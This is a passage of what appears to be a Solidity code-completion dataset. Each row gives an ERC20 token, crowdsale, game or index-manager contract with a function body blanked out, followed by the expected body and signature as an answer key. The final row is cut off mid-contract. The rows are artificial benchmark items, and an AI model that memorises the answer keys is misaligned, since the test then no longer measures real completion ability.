if (purchaseMultiplier == 0) revert NullMultiplier();
crowdsales[msg.sender] = Crowdsale({
listId: listId,
purchaseToken: purchaseToken,
purchaseMultiplier: purchaseMultiplier,
purchaseLimit: purchaseLimit,
amountPurchased: 0,
saleEnds: saleEnds,
details: details
});
emit ExtensionSet(msg.sender, listId, purchaseToken, purchaseMultiplier, purchaseLimit, saleEnds, details);
}
function joinList(uint256 listId, bytes32[] calldata merkleProof) public virtual {
accessManager.joinList(
listId,
msg.sender,
merkleProof
);
}
<FILL_FUNCTION>
function callExtension(address dao, uint256 amount) public payable nonReentrant virtual returns (uint256 amountOut) {
Crowdsale storage sale = crowdsales[dao];
if (block.timestamp > sale.saleEnds) revert SaleEnded();
if (sale.listId != 0)
if (!accessManager.listedAccounts(sale.listId, msg.sender)) revert NotListed();
if (sale.purchaseToken == address(0)) {
amountOut = msg.value * sale.purchaseMultiplier;
if (sale.amountPurchased + amountOut > sale.purchaseLimit) revert PurchaseLimit();
// send ETH to DAO
dao._safeTransferETH(msg.value);
sale.amountPurchased += uint96(amountOut);
IKaliShareManager(dao).mintShares(msg.sender, amountOut);
} else if (sale.purchaseToken == address(0xDead)) {
amountOut = msg.value * sale.purchaseMultiplier;
if (sale.amountPurchased + amountOut > sale.purchaseLimit) revert PurchaseLimit();
// send ETH to wETH
wETH._safeTransferETH(msg.value);
// send wETH to DAO
wETH._safeTransfer(dao, msg.value);
sale.amountPurchased += uint96(amountOut);
IKaliShareManager(dao).mintShares(msg.sender, amountOut);
} else {
// send tokens to DAO
sale.purchaseToken._safeTransferFrom(msg.sender, dao, amount);
amountOut = amount * sale.purchaseMultiplier;
if (sale.amountPurchased + amountOut > sale.purchaseLimit) revert PurchaseLimit();
sale.amountPurchased += uint96(amountOut);
IKaliShareManager(dao).mintShares(msg.sender, amountOut);
}
emit ExtensionCalled(dao, msg.sender, amountOut);
}
} |
token.permit(
msg.sender,
address(this),
value,
deadline,
v,
r,
s
);
| function setPermit(
IERC20Permit token,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual | function setPermit(
IERC20Permit token,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) public virtual |
14530 | ERC20 | transfer | contract ERC20 {
string public symbol;
string public name;
uint8 public decimals;
uint256 public totalSupply;
mapping (address=>uint256) balances;
mapping (address=>mapping (address=>uint256)) allowed;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function balanceOf(address _owner) view public returns (uint256 balance) {return balances[_owner];}
function transfer(address _to, uint256 _amount) public returns (bool success) {<FILL_FUNCTION_BODY> }
function transferFrom(address _from,address _to,uint256 _amount) public returns (bool success) {
require (balances[_from]>=_amount&&allowed[_from][msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]);
balances[_from]-=_amount;
allowed[_from][msg.sender]-=_amount;
balances[_to]+=_amount;
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
allowed[msg.sender][_spender]=_amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) view public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} | contract ERC20 {
string public symbol;
string public name;
uint8 public decimals;
uint256 public totalSupply;
mapping (address=>uint256) balances;
mapping (address=>mapping (address=>uint256)) allowed;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function balanceOf(address _owner) view public returns (uint256 balance) {return balances[_owner];}
<FILL_FUNCTION>
function transferFrom(address _from,address _to,uint256 _amount) public returns (bool success) {
require (balances[_from]>=_amount&&allowed[_from][msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]);
balances[_from]-=_amount;
allowed[_from][msg.sender]-=_amount;
balances[_to]+=_amount;
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
allowed[msg.sender][_spender]=_amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) view public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
} |
require (balances[msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]);
balances[msg.sender]-=_amount;
balances[_to]+=_amount;
emit Transfer(msg.sender,_to,_amount);
return true;
| function transfer(address _to, uint256 _amount) public returns (bool success) | function transfer(address _to, uint256 _amount) public returns (bool success) |
6354 | mElon | transferFrom | contract mElon is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
name = "mElon";
symbol = "MELON";
decimals = 9;
_totalSupply = 100000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> }
} | contract mElon is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
name = "mElon";
symbol = "MELON";
decimals = 9;
_totalSupply = 100000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
<FILL_FUNCTION>
} |
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
| function transferFrom(address from, address to, uint tokens) public returns (bool success) | function transferFrom(address from, address to, uint tokens) public returns (bool success) |
64305 | rentCollector | collectRentAllTokensAllMarkets | contract rentCollector {
IRealityCards rc1 = IRealityCards(0x148Bb64E8910422E74f79feF1A2E830BDe0BB938); //election
IRealityCards rc2 = IRealityCards(0x8F52D7D78FEcAb66FF71592edCf92ea8E7bF3EEa); //yearn
IRealityCards rc3 = IRealityCards(0xf30a16DdFDfbA014789E577bC59c6e2E89cEE0f5); //boxing
function collectRentAllTokensAllMarkets() public
{<FILL_FUNCTION_BODY> }
} | contract rentCollector {
IRealityCards rc1 = IRealityCards(0x148Bb64E8910422E74f79feF1A2E830BDe0BB938); //election
IRealityCards rc2 = IRealityCards(0x8F52D7D78FEcAb66FF71592edCf92ea8E7bF3EEa); //yearn
IRealityCards rc3 = IRealityCards(0xf30a16DdFDfbA014789E577bC59c6e2E89cEE0f5); <FILL_FUNCTION>
} |
rc1.collectRentAllTokens();
rc2.collectRentAllTokens();
rc3.collectRentAllTokens();
| function collectRentAllTokensAllMarkets() public
| //boxing
function collectRentAllTokensAllMarkets() public
|
55539 | CardsHelper | removeUnitMultipliers | contract CardsHelper is CardsAccess {
//data contract
CardsInterface public cards ;
GameConfigInterface public schema;
RareInterface public rare;
function setCardsAddress(address _address) external onlyOwner {
cards = CardsInterface(_address);
}
//normal cards
function setConfigAddress(address _address) external onlyOwner {
schema = GameConfigInterface(_address);
}
//rare cards
function setRareAddress(address _address) external onlyOwner {
rare = RareInterface(_address);
}
function upgradeUnitMultipliers(address player, uint256 upgradeClass, uint256 unitId, uint256 upgradeValue) internal {
uint256 productionGain;
if (upgradeClass == 0) {
cards.setUnitCoinProductionIncreases(player, unitId, upgradeValue,true);
productionGain = (cards.getOwnedCount(player,unitId) * upgradeValue * (10 + cards.getUnitCoinProductionMultiplier(player,unitId)));
cards.setUintCoinProduction(player,unitId,productionGain,true);
cards.increasePlayersJadeProduction(player,productionGain);
} else if (upgradeClass == 1) {
cards.setUnitCoinProductionMultiplier(player,unitId,upgradeValue,true);
productionGain = (cards.getOwnedCount(player,unitId) * upgradeValue * (schema.unitCoinProduction(unitId) + cards.getUnitCoinProductionIncreases(player,unitId)));
cards.setUintCoinProduction(player,unitId,productionGain,true);
cards.increasePlayersJadeProduction(player,productionGain);
} else if (upgradeClass == 2) {
cards.setUnitAttackIncreases(player,unitId,upgradeValue,true);
} else if (upgradeClass == 3) {
cards.setUnitAttackMultiplier(player,unitId,upgradeValue,true);
} else if (upgradeClass == 4) {
cards.setUnitDefenseIncreases(player,unitId,upgradeValue,true);
} else if (upgradeClass == 5) {
cards.setunitDefenseMultiplier(player,unitId,upgradeValue,true);
} else if (upgradeClass == 6) {
cards.setUnitJadeStealingIncreases(player,unitId,upgradeValue,true);
} else if (upgradeClass == 7) {
cards.setUnitJadeStealingMultiplier(player,unitId,upgradeValue,true);
}
}
function removeUnitMultipliers(address player, uint256 upgradeClass, uint256 unitId, uint256 upgradeValue) internal {<FILL_FUNCTION_BODY> }
} | contract CardsHelper is CardsAccess {
//data contract
CardsInterface public cards ;
GameConfigInterface public schema;
RareInterface public rare;
function setCardsAddress(address _address) external onlyOwner {
cards = CardsInterface(_address);
}
//normal cards
function setConfigAddress(address _address) external onlyOwner {
schema = GameConfigInterface(_address);
}
//rare cards
function setRareAddress(address _address) external onlyOwner {
rare = RareInterface(_address);
}
function upgradeUnitMultipliers(address player, uint256 upgradeClass, uint256 unitId, uint256 upgradeValue) internal {
uint256 productionGain;
if (upgradeClass == 0) {
cards.setUnitCoinProductionIncreases(player, unitId, upgradeValue,true);
productionGain = (cards.getOwnedCount(player,unitId) * upgradeValue * (10 + cards.getUnitCoinProductionMultiplier(player,unitId)));
cards.setUintCoinProduction(player,unitId,productionGain,true);
cards.increasePlayersJadeProduction(player,productionGain);
} else if (upgradeClass == 1) {
cards.setUnitCoinProductionMultiplier(player,unitId,upgradeValue,true);
productionGain = (cards.getOwnedCount(player,unitId) * upgradeValue * (schema.unitCoinProduction(unitId) + cards.getUnitCoinProductionIncreases(player,unitId)));
cards.setUintCoinProduction(player,unitId,productionGain,true);
cards.increasePlayersJadeProduction(player,productionGain);
} else if (upgradeClass == 2) {
cards.setUnitAttackIncreases(player,unitId,upgradeValue,true);
} else if (upgradeClass == 3) {
cards.setUnitAttackMultiplier(player,unitId,upgradeValue,true);
} else if (upgradeClass == 4) {
cards.setUnitDefenseIncreases(player,unitId,upgradeValue,true);
} else if (upgradeClass == 5) {
cards.setunitDefenseMultiplier(player,unitId,upgradeValue,true);
} else if (upgradeClass == 6) {
cards.setUnitJadeStealingIncreases(player,unitId,upgradeValue,true);
} else if (upgradeClass == 7) {
cards.setUnitJadeStealingMultiplier(player,unitId,upgradeValue,true);
}
}
<FILL_FUNCTION>
} |
uint256 productionLoss;
if (upgradeClass == 0) {
cards.setUnitCoinProductionIncreases(player, unitId, upgradeValue,false);
productionLoss = (cards.getOwnedCount(player,unitId) * upgradeValue * (10 + cards.getUnitCoinProductionMultiplier(player,unitId)));
cards.setUintCoinProduction(player,unitId,productionLoss,false);
cards.reducePlayersJadeProduction(player, productionLoss);
} else if (upgradeClass == 1) {
cards.setUnitCoinProductionMultiplier(player,unitId,upgradeValue,false);
productionLoss = (cards.getOwnedCount(player,unitId) * upgradeValue * (schema.unitCoinProduction(unitId) + cards.getUnitCoinProductionIncreases(player,unitId)));
cards.setUintCoinProduction(player,unitId,productionLoss,false);
cards.reducePlayersJadeProduction(player, productionLoss);
} else if (upgradeClass == 2) {
cards.setUnitAttackIncreases(player,unitId,upgradeValue,false);
} else if (upgradeClass == 3) {
cards.setUnitAttackMultiplier(player,unitId,upgradeValue,false);
} else if (upgradeClass == 4) {
cards.setUnitDefenseIncreases(player,unitId,upgradeValue,false);
} else if (upgradeClass == 5) {
cards.setunitDefenseMultiplier(player,unitId,upgradeValue,false);
} else if (upgradeClass == 6) {
cards.setUnitJadeStealingIncreases(player,unitId,upgradeValue,false);
} else if (upgradeClass == 7) {
cards.setUnitJadeStealingMultiplier(player,unitId,upgradeValue,false);
}
| function removeUnitMultipliers(address player, uint256 upgradeClass, uint256 unitId, uint256 upgradeValue) internal | function removeUnitMultipliers(address player, uint256 upgradeClass, uint256 unitId, uint256 upgradeValue) internal |
72712 | BasicToken | transfer | contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) public balances;
uint public basisPointsRate = 0;
uint public maximumFee = 0;
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {<FILL_FUNCTION_BODY> }
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
} | contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) public balances;
uint public basisPointsRate = 0;
uint public maximumFee = 0;
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
<FILL_FUNCTION>
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
} |
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
uint sendAmount = _value.sub(fee);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(msg.sender, owner, fee);
}
Transfer(msg.sender, _to, sendAmount);
| function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) | function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) |
51531 | Zizi_Inu | approveAndCall | contract Zizi_Inu is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "ZIZI";
name = "Zizi Inu";
decimals = 9;
_totalSupply = 1000000000000000;
balances[0xf9B1637c452F1D7C1aE49956D94A62FDd5d82047] = _totalSupply;
emit Transfer(address(0), 0xf9B1637c452F1D7C1aE49956D94A62FDd5d82047, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public override view returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public override view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public override returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public override returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public override returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public override view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {<FILL_FUNCTION_BODY> }
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
// function () external payable {
// revert();
// }
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | contract Zizi_Inu is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "ZIZI";
name = "Zizi Inu";
decimals = 9;
_totalSupply = 1000000000000000;
balances[0xf9B1637c452F1D7C1aE49956D94A62FDd5d82047] = _totalSupply;
emit Transfer(address(0), 0xf9B1637c452F1D7C1aE49956D94A62FDd5d82047, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public override view returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public override view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public override returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public override returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public override returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public override view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
<FILL_FUNCTION>
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
// function () external payable {
// revert();
// }
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} |
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
| function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) | // ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) |
15317 | IndexManager | authorizeMany | contract IndexManager {
bytes32 managerName;
address owner;
struct IndexStruct {
address indexAddress;
uint indexCategory;
string label;
uint index;
}
mapping(address=>bool) public delegatinglist;
mapping(bytes32 => IndexStruct) private indexStructs;
bytes32[] private indexIndex;
event LogNewIndex (bytes32 indexed indexName, uint index, address indexAddress, uint indexCategory);
event LogUpdateIndex(bytes32 indexed indexName, uint index, address indexAddress, uint indexCategory, string label);
event LogDeleteIndex(bytes32 indexed indexName, uint index);
event indexInitialized(uint32 _date, bytes32 _indexName);
event Authorized(address authorized, uint timestamp);
event Revoked(address authorized, uint timestamp);
modifier onlyAuthorized(){
require(isdelegatinglisted(msg.sender));
_;
}
function authorize(address authorized) public onlyAuthorized {
delegatinglist[authorized] = true;
emit Authorized(authorized, now);
}
// also if not in the list..
function revoke(address authorized) public onlyAuthorized {
delegatinglist[authorized] = false;
emit Revoked(authorized, now);
}
function authorizeMany(address[50] authorized) public onlyAuthorized {<FILL_FUNCTION_BODY> }
function isdelegatinglisted(address authorized) public view returns(bool) {
return delegatinglist[authorized];
}
constructor(bytes32 _name) public{
owner = msg.sender;
delegatinglist[owner] = true;
owner = msg.sender;
managerName = _name;
}
function isIndex(bytes32 indexName)
public
constant
returns(bool isIndeed)
{
if(indexIndex.length == 0) return false;
return (indexIndex[indexStructs[indexName].index] == indexName);
}
function insertIndex(
bytes32 indexName,
address indexAddress,
uint indexCategory,
string label)
onlyAuthorized
public
returns(uint index)
{
if(isIndex(indexName)) revert();
indexStructs[indexName].indexAddress = indexAddress;
indexStructs[indexName].indexCategory = indexCategory;
indexStructs[indexName].label = label;
indexStructs[indexName].index = indexIndex.push(indexName)-1;
emit LogNewIndex(
indexName,
indexStructs[indexName].index,
indexAddress,
indexCategory);
return indexIndex.length-1;
}
function deleteIndex(bytes32 indexName)
onlyAuthorized
public
returns(uint index)
{
if(!isIndex(indexName)) revert();
uint rowToDelete = indexStructs[indexName].index;
bytes32 keyToMove = indexIndex[indexIndex.length-1];
indexIndex[rowToDelete] = keyToMove;
indexStructs[keyToMove].index = rowToDelete;
indexIndex.length--;
emit LogDeleteIndex(
indexName,
rowToDelete);
emit LogUpdateIndex(
keyToMove,
rowToDelete,
indexStructs[keyToMove].indexAddress,
indexStructs[keyToMove].indexCategory,
indexStructs[keyToMove].label);
return rowToDelete;
}
function getIndex(bytes32 indexName)
public
constant
returns(address indexAddress, uint indexCategory, uint index, string label)
{
if(!isIndex(indexName)) revert();
return(
indexStructs[indexName].indexAddress,
indexStructs[indexName].indexCategory,
indexStructs[indexName].index,
indexStructs[indexName].label);
}
function updateIndexAddress(bytes32 indexName, address indexAddress)
onlyAuthorized
public
returns(bool success)
{
if(!isIndex(indexName)) revert();
indexStructs[indexName].indexAddress = indexAddress;
emit LogUpdateIndex(
indexName,
indexStructs[indexName].index,
indexAddress,
indexStructs[indexName].indexCategory,
indexStructs[indexName].label);
return true;
}
function updateIndexCategory(bytes32 indexName, uint indexCategory)
onlyAuthorized
public
returns(bool success)
{
if(!isIndex(indexName)) revert();
indexStructs[indexName].indexCategory = indexCategory;
emit LogUpdateIndex(
indexName,
indexStructs[indexName].index,
indexStructs[indexName].indexAddress,
indexCategory,
indexStructs[indexName].label);
return true;
}
function updateIndexLabel(bytes32 indexName, string newLabel)
onlyAuthorized
public
returns(bool success)
{
if(!isIndex(indexName)) revert();
indexStructs[indexName].label = newLabel;
emit LogUpdateIndex(
indexName,
indexStructs[indexName].index,
indexStructs[indexName].indexAddress,
indexStructs[indexName].indexCategory,
newLabel);
return true;
}
function getIndexCount()
public
constant
returns(uint count)
{
return indexIndex.length;
}
function getIndexAtIndex(uint index)
public
constant
returns(bytes32 indexName)
{
return indexIndex[index];
}
function addIndexInitialization(uint32 _date, bytes32 _indexName) public onlyAuthorized {
emit indexInitialized(_date, _indexName);
}
} | contract IndexManager {
bytes32 managerName;
address owner;
struct IndexStruct {
address indexAddress;
uint indexCategory;
string label;
uint index;
}
mapping(address=>bool) public delegatinglist;
mapping(bytes32 => IndexStruct) private indexStructs;
bytes32[] private indexIndex;
event LogNewIndex (bytes32 indexed indexName, uint index, address indexAddress, uint indexCategory);
event LogUpdateIndex(bytes32 indexed indexName, uint index, address indexAddress, uint indexCategory, string label);
event LogDeleteIndex(bytes32 indexed indexName, uint index);
event indexInitialized(uint32 _date, bytes32 _indexName);
event Authorized(address authorized, uint timestamp);
event Revoked(address authorized, uint timestamp);
modifier onlyAuthorized(){
require(isdelegatinglisted(msg.sender));
_;
}
function authorize(address authorized) public onlyAuthorized {
delegatinglist[authorized] = true;
emit Authorized(authorized, now);
}
// also if not in the list..
function revoke(address authorized) public onlyAuthorized {
delegatinglist[authorized] = false;
emit Revoked(authorized, now);
}
<FILL_FUNCTION>
function isdelegatinglisted(address authorized) public view returns(bool) {
return delegatinglist[authorized];
}
constructor(bytes32 _name) public{
owner = msg.sender;
delegatinglist[owner] = true;
owner = msg.sender;
managerName = _name;
}
function isIndex(bytes32 indexName)
public
constant
returns(bool isIndeed)
{
if(indexIndex.length == 0) return false;
return (indexIndex[indexStructs[indexName].index] == indexName);
}
function insertIndex(
bytes32 indexName,
address indexAddress,
uint indexCategory,
string label)
onlyAuthorized
public
returns(uint index)
{
if(isIndex(indexName)) revert();
indexStructs[indexName].indexAddress = indexAddress;
indexStructs[indexName].indexCategory = indexCategory;
indexStructs[indexName].label = label;
indexStructs[indexName].index = indexIndex.push(indexName)-1;
emit LogNewIndex(
indexName,
indexStructs[indexName].index,
indexAddress,
indexCategory);
return indexIndex.length-1;
}
function deleteIndex(bytes32 indexName)
onlyAuthorized
public
returns(uint index)
{
if(!isIndex(indexName)) revert();
uint rowToDelete = indexStructs[indexName].index;
bytes32 keyToMove = indexIndex[indexIndex.length-1];
indexIndex[rowToDelete] = keyToMove;
indexStructs[keyToMove].index = rowToDelete;
indexIndex.length--;
emit LogDeleteIndex(
indexName,
rowToDelete);
emit LogUpdateIndex(
keyToMove,
rowToDelete,
indexStructs[keyToMove].indexAddress,
indexStructs[keyToMove].indexCategory,
indexStructs[keyToMove].label);
return rowToDelete;
}
function getIndex(bytes32 indexName)
public
constant
returns(address indexAddress, uint indexCategory, uint index, string label)
{
if(!isIndex(indexName)) revert();
return(
indexStructs[indexName].indexAddress,
indexStructs[indexName].indexCategory,
indexStructs[indexName].index,
indexStructs[indexName].label);
}
function updateIndexAddress(bytes32 indexName, address indexAddress)
onlyAuthorized
public
returns(bool success)
{
if(!isIndex(indexName)) revert();
indexStructs[indexName].indexAddress = indexAddress;
emit LogUpdateIndex(
indexName,
indexStructs[indexName].index,
indexAddress,
indexStructs[indexName].indexCategory,
indexStructs[indexName].label);
return true;
}
function updateIndexCategory(bytes32 indexName, uint indexCategory)
onlyAuthorized
public
returns(bool success)
{
if(!isIndex(indexName)) revert();
indexStructs[indexName].indexCategory = indexCategory;
emit LogUpdateIndex(
indexName,
indexStructs[indexName].index,
indexStructs[indexName].indexAddress,
indexCategory,
indexStructs[indexName].label);
return true;
}
function updateIndexLabel(bytes32 indexName, string newLabel)
onlyAuthorized
public
returns(bool success)
{
if(!isIndex(indexName)) revert();
indexStructs[indexName].label = newLabel;
emit LogUpdateIndex(
indexName,
indexStructs[indexName].index,
indexStructs[indexName].indexAddress,
indexStructs[indexName].indexCategory,
newLabel);
return true;
}
function getIndexCount()
public
constant
returns(uint count)
{
return indexIndex.length;
}
function getIndexAtIndex(uint index)
public
constant
returns(bytes32 indexName)
{
return indexIndex[index];
}
function addIndexInitialization(uint32 _date, bytes32 _indexName) public onlyAuthorized {
emit indexInitialized(_date, _indexName);
}
} |
for(uint i = 0; i < authorized.length; i++) {
authorize(authorized[i]);
}
| function authorizeMany(address[50] authorized) public onlyAuthorized | function authorizeMany(address[50] authorized) public onlyAuthorized |
50867 | Metachads | setMaxTx | contract Metachads is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Meta Chads";
string private constant _symbol = "MC";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
